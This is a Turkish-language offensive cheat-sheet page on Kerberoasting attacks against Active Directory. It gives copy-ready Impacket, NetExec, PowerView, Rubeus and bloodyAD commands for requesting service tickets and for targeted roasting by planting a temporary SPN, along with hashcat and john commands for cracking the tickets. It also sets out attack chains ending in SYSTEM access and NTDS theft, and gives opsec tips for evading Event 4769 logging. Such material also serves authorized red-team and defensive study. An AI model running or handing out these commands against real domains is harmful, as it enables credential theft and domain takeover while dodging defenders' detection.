Kerberoasting
MITRE ATT&CK · T1558.003 verified · 2026-07 difficulty: kolay
Kerberoasting, bir Service Principal Name (SPN) atanmış domain hesaplarını hedefler. Kimliği doğrulanmış herhangi bir kullanıcı, bu hesaplar için TGS (service ticket) isteyebilir. Bilet, servis hesabının uzun vadeli anahtarıyla (genelde NTLM → RC4) şifrelenir; şifreli kısım offline kırılabilir. Servis hesapları çoğunlukla zayıf/eski/nadiren rotate edilen parolalara sahip olduğu için etkilidir.
Nasıl çalışır
Section titled “Nasıl çalışır”1. Authenticated user → TGT var2. TGS-REQ for SPN (örn. MSSQLSvc/sql01.domain.local:1433)3. KDC, SPN'in sahibi hesabın anahtarıyla şifreli TGS-REP döner4. Saldırgan TGS ciphertext'ini hashcat -m 13100 (RC4) ile kırarMakine hesapları ($) de SPN taşır ama 120+ karakter rastgele parola → pratikte kırılmaz. Hedef: user-class service accounts.
Ön koşullar
Section titled “Ön koşullar”- Herhangi geçerli domain kullanıcısı (veya makine hesabı).
- SPN’li en az bir kullanıcı hesabı.
- DC’ye 88/tcp (ve LDAP enum için 389).
BloodHound: Kerberoastable Users; kenar yok — özellik tabanlı. Kırılan hesap sonrası AdminTo / MemberOf / AllowedToDelegate yolları.
Komut üreteci
Section titled “Komut üreteci”Kerberoast · GetUserSPNs
embedded toolimpacket-GetUserSPNs domain.local/lowpriv -dc-ip 10.10.10.5 -request -outputfile kerberoast.hashesKimlikli herhangi bir kullanıcı yeterlidir.
Kerberoast · GetUserSPNs
Section titled “Kerberoast · GetUserSPNs”Kimlikli herhangi bir kullanıcı yeterlidir.
Metodoloji
Section titled “Metodoloji”-
SPN’li hesapları bul :
Terminal window impacket-GetUserSPNs domain.local/user:'Pass123' -dc-ip 10.10.10.5Terminal window nxc ldap 10.10.10.5 -u user -p 'Pass123' --kerberoasting /dev/nullTerminal window Get-DomainUser -SPN | select samaccountname,serviceprincipalname,memberof -
TGS iste — RC4 tercih et (kırılması kolay; AES varsa yavaş):
Terminal window impacket-GetUserSPNs domain.local/user:'Pass123' -dc-ip 10.10.10.5 \-request -outputfile kerberoast.hashesTerminal window impacket-GetUserSPNs domain.local/user -hashes :NTHASH -dc-ip 10.10.10.5 -requestTerminal window export KRB5CCNAME=user.ccacheTerminal window impacket-GetUserSPNs -k -no-pass domain.local/user -dc-ip 10.10.10.5 -requestTerminal window impacket-GetUserSPNs domain.local/user:'Pass123' -dc-ip 10.10.10.5 \-request-user svc_sql -outputfile targeted.hashes -
Rubeus (Windows) :
Terminal window Rubeus.exe kerberoast /nowrap /outfile:kerberoast.hashesTerminal window Rubeus.exe kerberoast /user:svc_sql /nowrapTerminal window Rubeus.exe kerberoast /rc4opsec /nowrap # AES hesaplarını atla / opsecTerminal window Rubeus.exe kerberoast /tgtdeleg /nowrap # current logon TGT ileTerminal window Rubeus.exe kerberoast /stats # etype istatistik -
Offline kır :
Terminal window hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txtTerminal window hashcat -m 19700 kerberoast.hashes wordlist.txt # aes128: 19600, aes256: 19700Terminal window john --format=krb5tgs kerberoast.hashes --wordlist=rockyou.txt -
Kullan — servis hesabı sıkça local admin veya constrained delegation sahibidir → Delegation / lateral.
Targeted Kerberoasting (ACL ile)
Section titled “Targeted Kerberoasting (ACL ile)”Hedefte GenericWrite / GenericAll varsa geçici SPN ekleyip roast et, sonra SPN’i sil:
bloodyAD -u attacker -p 'Pass' -d domain.local --host DC \ set object victim userAccountControl # veya set SPNSet-DomainObject -Identity victim -Set @{serviceprincipalname='http/evil'}Set-DomainObject -Identity victim -Clear serviceprincipalnameBloodHound: GenericWrite → User kenarı.
Hash formatı
Section titled “Hash formatı”$krb5tgs$23$*user$DOMAIN$spn*$cipher...23 = RC4. AES roast’ta $krb5tgs$18$ / $17$ görünür.
Saldırı zinciri örnekleri
Section titled “Saldırı zinciri örnekleri”Kerberoast svc_mssql → parola kırıldı → AllowedToDelegate → cifs/SQL01 → getST -impersonate Administrator → SYSTEM on SQL01
Kerberoast svc_backup ∈ Backup Operators → DC'de SeBackup → NTDS kopyalaOpsec (ofansif)
Section titled “Opsec (ofansif)”- Toplu -request her SPN için Event 4769 üretir; /rc4opsec veya sadece yüksek değerli hesapları roast et.
- AES-only hesaplar RC4 TGS vermeyebilir — kırılması zor; zamanı delegation/ACL yollarına kaydır.
- Kırma GPU’da offline; hedefe ek trafik yok.
- gMSA hesapları teknik olarak SPN’li olabilir ama parola yönetimli ve güçlüdür.
Yaygın tuzaklar
Section titled “Yaygın tuzaklar”- Parola istemeden çalıştırma → -request unutulursa sadece liste gelir.
- Makine hesaplarını kırmaya çalışmak zaman kaybı.
- Clock skew / yanlış DC IP.
- GetUserSPNs çıktısındaki etype’a göre yanlış hashcat modu.
- Kırılan hesabın AdminCount /DA olması nadir; yolu BloodHound’da takip et.
Sonraki adımlar
Section titled “Sonraki adımlar”AS-REP Roasting · Delegation · Silver Ticket (hash kırıldıktan sonra forge)